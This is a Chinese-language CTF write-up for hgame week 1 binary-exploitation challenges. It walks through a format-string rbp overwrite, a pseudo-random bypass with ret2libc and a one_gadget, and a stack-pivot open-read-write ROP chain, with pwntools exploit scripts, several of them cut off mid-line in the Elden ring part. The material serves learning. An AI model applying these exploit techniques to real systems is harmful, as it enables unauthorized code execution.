hgame-week1 wp 来自 dbgbgtf

fmt

```
1  unsigned __int64 vuln()
2  {
3    __int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
4    char s[88]; // [rsp+20h] [rbp-60h] BYREF
5    unsigned __int64 v3; // [rsp+78h] [rbp-8h]
6
7    v3 = __readfsqword(0x28u);
8    strcpy((char *)buf, "make strings and getshell\n");
9    write(0, buf, 0x1BuLL);
10   read(0, s, 0x50uLL);
11   if ( !strchr(s, 0x70) && !strchr(s, 115) )
12     printf(s);
13   return __readfsqword(0x28u) ^ v3;
14 }
```

这题比较麻烦在于只有一次 fmt 机会，不过好在出题人人美心善给了后门函数

发现栈上有一个指针指向 vuln 函数 rbp，考虑用两次 leave 来搞事。

```
pwndbg> stack 20
00:0000| rsp 0x7fff23ad1e40 ◂— 'make strings and getshell\n'
01:0008|-078 0x7fff23ad1e48 ◂— 'ings and getshell\n'
02:0010|-070 0x7fff23ad1e50 ◂— ' getshell\n'
03:0018|-068 0x7fff23ad1e58 ◂— 0x7f9205000a6c /* 'l\n' */
04:0020| rdi 0x7fff23ad1e60 ◂— 0x3831256336333125 ('%136c%18')
05:0028|-058 0x7fff23ad1e68 ◂— 0x616161616e686824 ('$hhnaaaa')
06:0030|-050 0x7fff23ad1e70 —▸ 0x40123d (sys) ◂— endbr64
... ↓        5 skipped
0c:0060|-020 0x7fff23ad1ea0 —▸ 0x7fff23ad1ec0 —▸ 0x7fff23ad1ee0 ◂— 0x1
0d:0068|-018 0x7fff23ad1ea8 ◂— 0x0
0e:0070|-010 0x7fff23ad1eb0 —▸ 0x7fff23ad1ff8 —▸ 0x7fff23ad42a2 ◂— 0x4853
0f:0078|-008 0x7fff23ad1eb8 ◂— 0xd6fe0bab99d78700
10:0080| rbp 0x7fff23ad1ec0 —▸ 0x7fff23ad1ee0 ◂— 0x1
11:0088|+008 0x7fff23ad1ec8 —▸ 0x401369 (main+60) ◂— mov eax, 0
12:0090|+010 0x7fff23ad1ed0 ◂— 0x0
13:0098|+018 0x7fff23ad1ed8 —▸ 0x40200c ◂— 'the shit is ezfmt, M3?\n'
```

这是格式化前

```
pwndbg> stack 20
00:0000| rsp 0x7fff23ad1e40 ◂— 'make strings and getshell\n'
01:0008|-078 0x7fff23ad1e48 ◂— 'ings and getshell\n'
02:0010|-070 0x7fff23ad1e50 ◂— ' getshell\n'
03:0018|-068 0x7fff23ad1e58 ◂— 0x7f9205000a6c /* 'l\n' */
04:0020|-060 0x7fff23ad1e60 ◂— 0x3831256336333125 ('%136c%18')
05:0028|-058 0x7fff23ad1e68 ◂— 0x616161616e686824 ('$hhnaaaa')
06:0030|-050 0x7fff23ad1e70 —▸ 0x40123d (sys) ◂— endbr64
... ↓        5 skipped
0c:0060|-020 0x7fff23ad1ea0 —▸ 0x7fff23ad1ec0 —▸ 0x7fff23ad1e88 —▸ 0x40123
0d:0068|-018 0x7fff23ad1ea8 ◂— 0x0
0e:0070|-010 0x7fff23ad1eb0 —▸ 0x7fff23ad1ff8 —▸ 0x7fff23ad42a2 ◂— 0x48530
0f:0078|-008 0x7fff23ad1eb8 ◂— 0xd6fe0bab99d78700
10:0080| rbp 0x7fff23ad1ec0 —▸ 0x7fff23ad1e88 —▸ 0x40123d (sys) ◂— endbr64
11:0088|+008 0x7fff23ad1ec8 —▸ 0x401369 (main+60) ◂— mov eax, 0
12:0090|+010 0x7fff23ad1ed0 ◂— 0x0
13:0098|+018 0x7fff23ad1ed8 —▸ 0x40200c ◂— 'the shit is ezfmt, M3?\n'
pwndbg> ni
```

这是格式化后，我还特意发了很多后门函数在栈上加大命中概率。

接下来 vuln 函数到 main 函数的连续两次 leave 指令，很顺利的把这个被我改写的

指向后门函数的 rbp 传递给了 rsp，然后 main 函数一个 ret 直接 getshell。

random

这题前面考得一个伪随机，我上次做伪随机的题目存了一个小模版下来

```c
#include<stdio.h>
#include<stdlib.h>
int main()
{
    srand(0);
    for(int i = 0;i < 100; i++)
    {
    printf("io.recvuntil(b'number:')\nio.sendline(b'/x%x')\n",rand()%100+1);
    }
    return 0;
}
```

我遇到随机数的题目就在 linux 下面生成一个 a.out 跑一下。

不过后才发现可以直接在 python 里面生成随机数，这样还更

方便一点。

所以这是我的 exp 前半段

dom > dom.py

```python
from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("47.100.137.175",31404)
io = process("./random")
def debug():
    gdb.attach(io,
    '''
b myread
    ''')
debug()
io.recvuntil(b'thy name.')
io.send(b'\x00'*0x12)

io.recvuntil(b'number:')
io.send(b'\x54')
io.recvuntil(b'number:')
io.send(b'\x57')
io.recvuntil(b'number:')
io.send(b'\x4e')
```

这是后半段，中间就全都是我复制粘贴过来的。（靠，python 太不熟练了，当初是因为懒得研究 python 循环怎么写才去搞了给 c 程序帮我生成的）

```python
io.send(b'\x57')
io.recvuntil(b'number:')
io.send(b'\x5f')

pop_rdi = 0x401423
pop_rsi_r15 = 0x401421
pop_r12_13_14_15 = 0x40141C
myread = 0x40125D

io.recvuntil(b'mind.\n')

elf = ELF('./random')
read_got = elf.got['read']
puts_plt = elf.plt['puts']

payload = cyclic(0x38) + p64(pop_rdi) + p64(read_got)#0x20
payload += p64(puts_plt) + p64(myread)
io.sendline(payload)

read_real = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print(hex(read_real))

pause()
libc_base = read_real - 0x10DFC0
print(hex(libc_base))
libc_ogg = libc_base + 0xe3afe

payload2 = cyclic(0x38) + p64(pop_r12_13_14_15) + p64(0x0)
payload2 += p64(0x0) + p64(0x0) + p64(0x0) + p64(libc_ogg)
io.sendline(payload2)
io.interactive()
```

后半段就是靠一个 libc 泄露以及提权，像是把两道题拼一起了。

Shellcode

主要有意思的就是整型溢出的那个，具体什么 unsigned int 这些我搞得不是很清楚，不过写 shellcode 还只给十字节就有点明显肯定要搞事了，就写了个-1 进去试试，发现确实可以。在后面就 AE64 一把梭掉了

Elden ring

这题主要限了沙盒比较麻烦，然后字节又给的不充足。

前面就是拿 libc 没什么可说的

```
io.recvuntil(b'accord.\n')
payload = cyclic(0x100) + p64(bss_adr) + p64(pop_rdi) + p64(read_got)#0x20
payload += p64(puts_plt) + p64(vuln)
io.send(payload)
```

我刚开始的想法就是既然这个地方溢出字节不足，那就溢出的时候把 rdx 改大一点，就可以方便后面构造 ROP 链了。

```
lea     rax, [rbp+buf]
mov     edx, 130h
mov     rsi, rax
mov     edi, 0
call    _read

nop
leave
retn
```

但是实际操作发现改 rdx 不如栈迁移。

具体也不太记得了，把 exp 放上来得了

```python
elf = ELF('./ring')
read_got = elf.got['read']
puts_plt = elf.plt['puts']

pop_rdi = 0x4013e3
vuln = 0x40125B
vuln_read = 0x401282
bss_adr = 0x404000

io.recvuntil(b'accord.\n')
payload = cyclic(0x100) + p64(bss_adr) + p64(pop_rdi) + p6
payload += p64(puts_plt) + p64(vuln)
io.send(payload)

read_real = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")
print(hex(read_real))

libc_base = read_real - 0x10DFC0
print(hex(libc_base))
pop_rax = libc_base + 0x36174
pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
pop_rsp = libc_base + 0x2f70a
open_adr = libc_base + 0x10E075
read_adr = libc_base + 0x10E075
writ_adr = libc_base + 0x10E075

io.recvuntil(b'accord.\n')
#read(0,bss_adr,0x130)
payload = cyclic(0x100) + p64(bss_adr) + p64(pop_rax) + p6
payload += p64(vuln_read)
io.send(payload)

#rax = 2,open(flag,0,0)
payload = b'flag\x00\x00\x00\x00' + p64(pop_rax) + p64(0x2
payload += p64(bss_adr) + p64(pop_rsi) + p64(0x0)
payload += p64(pop_rdx) + p64(0x0) + p64(open_adr)
```